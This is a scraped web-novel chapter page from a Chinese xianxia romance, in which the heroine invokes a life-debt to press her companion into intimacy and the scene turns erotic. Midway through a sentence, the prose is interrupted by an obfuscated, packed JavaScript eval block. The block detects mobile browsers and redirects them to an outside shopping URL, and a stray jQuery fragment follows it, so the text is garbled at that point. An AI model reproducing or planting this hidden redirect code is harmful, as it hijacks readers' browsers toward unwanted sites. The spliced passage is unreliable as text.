文趣网 > 其他小说 > [洪荒]山海有她 > 41.第四十一章
    她现在既不能离开鲛珠,又不得不出去。

    办法不是没有。只是她不知该如何说。

    如鲛人那般与仪玦结合,让他彻底恢复灵力,打出去。

    于她来说,倒是没什么。鲛人似乎很热衷此事,并且每次结合之后似乎格外高兴,那时他们合唱的歌声也尤为动听。

    可仪玦好似并不喜欢与人触碰。尤记的载天山时,她不过蹭了蹭他脖颈与胸口,他都一副不大情愿的样子。

    如今要他做出这么大的牺牲,她实在心里没底,只怕他宁可将她留在这,也不会同意此事。

    且不说她被王母封了灵力,便是不封,她也打不过仪玦,如今不能动弹的她又如何强迫他与自己结合?

    她心中天人交战,虽是闭着眼,灵活转动的瞳眸却带着眼睫轻颤不已。

    “在想什么?”清冽的声音就在身边响起。

    她心脏骤然发紧,手指绞着衣袖。

    奇怪,她在紧张什么,又没做坏事。而且她还不能说话,连装聋作哑都省了。然而心脏却不受控制地陡然加快,如草原上脱缰的骏马,怎么也停不下来。

    倏尔,掌心微热,一张大手覆了上来,「方才……」

    顿时,扶羲心提到了嗓子眼,她唯恐心里的盘算露出蛛丝马迹,急忙掐断对方怀疑的小火苗,「方才只是权宜之计,你别多想,我对你没想法。」

    她飞快地传音,连眼皮都不敢抬一下,生怕慌乱的眼神出卖了心内的谋划。

    大手微微一顿,「哦……」

    她灵机一动,突然想到了什么,「仪玦,你还记不记得你欠我一条命?」

    他道:「嗯。」

    她道:「那如果作为报答,我要你做一件你不愿意的事,你会答应我吗?」

    握着她的大手颤了颤,闷闷道:“嗯。”

    扶羲心中咯噔一下,没想到她竟然走到了挟恩图报这一步。

    她定了定心神,故作轻松道:「你身上的裂痕是怎么来的?」

    还不及对方回答,她就一阵郁闷:还真是慌不择言,哪壶不开提哪壶。

    意识到不妥后,忙又改口,「我是想说还疼不疼?要不要紧。」

    「一直都有。不疼。不要紧。」声音毫无波澜。扶羲却愈发紧张,「能看看吗?」

    她心中忐忑,等了良久,对方才回复:「你想怎么看?要一直闭着眼睛吗?」

    闻言,她倏尔睁开双眼,一张健美的胸膛撞入眼眸,微微滑动的喉结,修长的脖颈,宽阔的肩膀,起伏的胸膛……一道如蜈蚣般沟壑崎岖的伤疤自上而下,一直蜿蜒至腰间。

    眼前的一幕太过触目惊心,她陡然合上了眼皮。

    仪玦似乎低声苦笑了一下, 「吓到你了吧?」

    她是被吓到了,却不是为那伤疤。仪玦显然是误会了。

    但她也顾不得解释,咬紧后槽牙,无比艰难地传音道:「不许穿衣服。」

    掌心蓦地被扣紧,「你……」

    扶羲本欲循循善诱,可她还是高估了自己。此刻像是做错了事被架起来审讯的犯人一般,认命地长舒一口气后,彻底豁出了心中奔腾的骏马,「你可愿与我交欢?」

    空气陷入了一片宁静,静到她能听到对方喉头滚动的声音。

    就知道他一定不愿意,她闭着眼都能想象他利箭般要身穿自己的眼神。恐怕若非她卧病在床,他会一掌呼她脸上吧。

    那又如何?他欠她的恩,她此刻就是要讨回来,就算他心中千般不愿,也只能忍着。

    思及此,她似乎又壮了几分胆,「你休要拒绝,可别忘了方才你亲口……」

    传音到一半,她倏尔瞪大了眸子。

    双唇覆上了一片冰凉,柔软滑嫩,浸润着她干裂的唇瓣,幽深的眼眸静静地凝视着她,双手十指紧扣,动弹不了分毫,「如何交欢……可是这样?」

    「仪玦……你……」古怪的感觉席卷全身。

    「别说话。」冰凉的唇瓣辗转研磨,温柔缱绻,似乎生怕碰碎了什么。

    奇异的清凉经由唇瓣,滑过干涩的喉咙,漫向滚烫灼热的胸膛。许久未得的轻松漫向四肢百骸。

    也不知过去了多久,他才轻轻挪开唇瓣,又啄了啄她鼻尖,最后抚开她额前碎发,落下一个轻柔的吻,「是这样吗?」

    扶羲目光闪躲,「还不够。」

    「那要如何?」仪玦拉着她的手扯向自己的胸膛,「你告诉我?」

    扶羲顺势滑过那粗糙崎岖的疤痕,一路向下,停在了某处,「要这里。」

    仪玦挑眉,「你确定?」

    扶羲郑重地点了点头。

    仪玦重新夺回了她的手,「现在还不行。」

    扶羲蹙了蹙眉,「你不愿意?」

    仪玦紧握着她的手,目光灼灼地看着她,「现在还不是时候,等你再养一养。」

    扶羲心道:那还不是不愿意?缓兵之计罢了,说不好等会儿就抛下她溜之大吉了。

    她越想越不安,紧紧拽着他的手,轻轻摇晃着,「哥哥,现在就给我吧。」

    仪玦定定地看着她,似乎在思忖什么。她轻轻撇了撇嘴,一双眼眸泫然如泣,「哥哥,我吧?」

    仪玦怔了怔,倾身向前,「这可是你说的,一会儿别讨饶。」

    咫尺之间,呼吸清晰可闻,就在她以为自己快要得逞之时,仪玦却猛然撇过了头,挣开手掌,头也不回道:“我出去透透气,你先养着。”

    扶羲只当他临时变卦了,要抛弃她独自离开,连忙伸手去探,却不慎滚落床榻。

    “扑通”一声,仪玦回眸,看着跌爬在地的扶羲,眸中染上一片哀色。

    他忙将她拦腰抱起,她顺势勾住了他的脖颈,一脸幽怨地看着他。

    “再这么不规矩,就不管你了。”仪玦不轻不重地拍了下她后背。

    她猛然埋下了头,张口咬上了他白皙的脖颈。他皱了皱眉,却也不喊痛,只是轻抚了下她背脊,就要将她重新安置床榻。

    她哪里肯依,八爪鱼似地缠上他,双手还不闲着,穿过他的衣襟四处摩挲着。

    仪玦也不拦着,面色却越来越冷,「扶羲,你怎么这么不爱惜自己的身体。」

    扶羲彻底愣住了,愤恨地盯着他,张了张嘴,却发不出一丝声音,一张脸涨得通红,泄愤般地掐着他的手掌,传音道:「我的身体,爱不爱惜是我的事。但你欠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795688|207805||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我的恩,我现在就要你还。」

    仪玦面色铁青,“情是情,恩是恩,二者怎可混为一谈。”

    扶羲心中冷道:不还是不愿意吗?

    “我偏要勉强。”说着,她双手更为利索地扒拉着五彩衣衫。

    仪玦又气又无奈,想缚住她手脚,又虑及她体弱,担心伤着她。一来一回间,二人竟扭打在了一起,衣襟散乱,他用全身禁锢着她。

    就在此时,外面忽然响起了婉转空灵的陵鱼歌声。

    扶羲心潮浮动,胸前的鲛珠也浮现出了淡蓝色的光晕,随着清越的歌声悠扬起伏,有流光从鲛珠缓缓溢出。

    二人皆是一愣,扶羲一手挣开仪玦的辖制,抬指去摸,触碰到流光,流光便如一条细线般牵上了仪玦的手指。

    仿佛有一种魔力一般,仪玦手指不受控制地顺着牵引,碰上了扶羲的指尖。

    旋即,一股强大的力量贯穿心脉,似一河清凉的水流漫向四肢。

    犹如烈日久晒的大地,突逢甘霖一般,是久违的松软自在。这感觉,方才与仪玦唇齿相贴时,她便隐隐感受了一二,只是这一次,更为充沛。

    与此同时,一种大而空的感觉自心头浮起。

    她想要更多,如被甘霖浸润过的大地迫切地想要迎接生灵一般,她想要承载更多,渴望连接更多,而眼前便有她想要的。

    她不禁抬手抚上了眼前的面颊,倾身上前,覆上了他的唇。舌尖轻挑,勾着他与自己厮磨。

    仪玦脸涨的通红,额上还沁着细密的汗。他虽是禁锢着扶羲,却并不敢将全身力量压在她身上,仅用双足支撑,轻微地躬着身,腰腹紧绷,似在隐忍着什么。

    扶羲却毫不犹豫地将他按回了自己。

    仪玦不可置信地看着她,“你……好了?”

    扶羲也觉察到自己四肢突然灵活,先前卧病在床浑身的灼痛也荡然无存。

    她眸中划过一丝狡黠,四肢陡然发力,翻身向上。瞬息间,掌握了主动地位。

    仪玦愣了愣,双目赤红,如同一头隐而待发的猛兽,闷哼一声,“你确定要在上面?”

    不待扶羲回答,仪玦已扣着她的后脑,将她更为紧密地压向自己。反守为攻,长舌扫过贝齿,又滑向深处,逗弄着她并不安分的舌尖。

    她心甘情愿地随着他起舞,他却狡猾地含住了她,长指隔着衣衫四下摩挲,带起阵阵颤栗。

    这异样的变化令她有些紧张,没有人与她说过肌肤相亲是这种感觉。

    她从前也与仪玦牵手,也会轻柔地抚摸小黑,可不是这种感触。酥酥痒痒,仿佛肌肤在笑,欢快极了。

    仪玦舌指轻柔,力气却霸道,倒像是怕她逃一般。

    等等,他方才不是还不愿意吗?怎么突然像变了个人,难道被夺舍了?

    思及此,她不由心中一紧,齿间发力,咬上了逗弄她的舌尖,微甜的血腥味道自唇间蔓延,扣在她后脑的大手松了松。

    大口的空气自鼻腔涌入,她得到一丝喘息,探究地看向眼前双脸绯红,目光灼灼的俊脸。

    炽热的眸子也定定地望着她,“你后悔了?”

    扶羲不确信地探向他的胸膛,“你是谁?”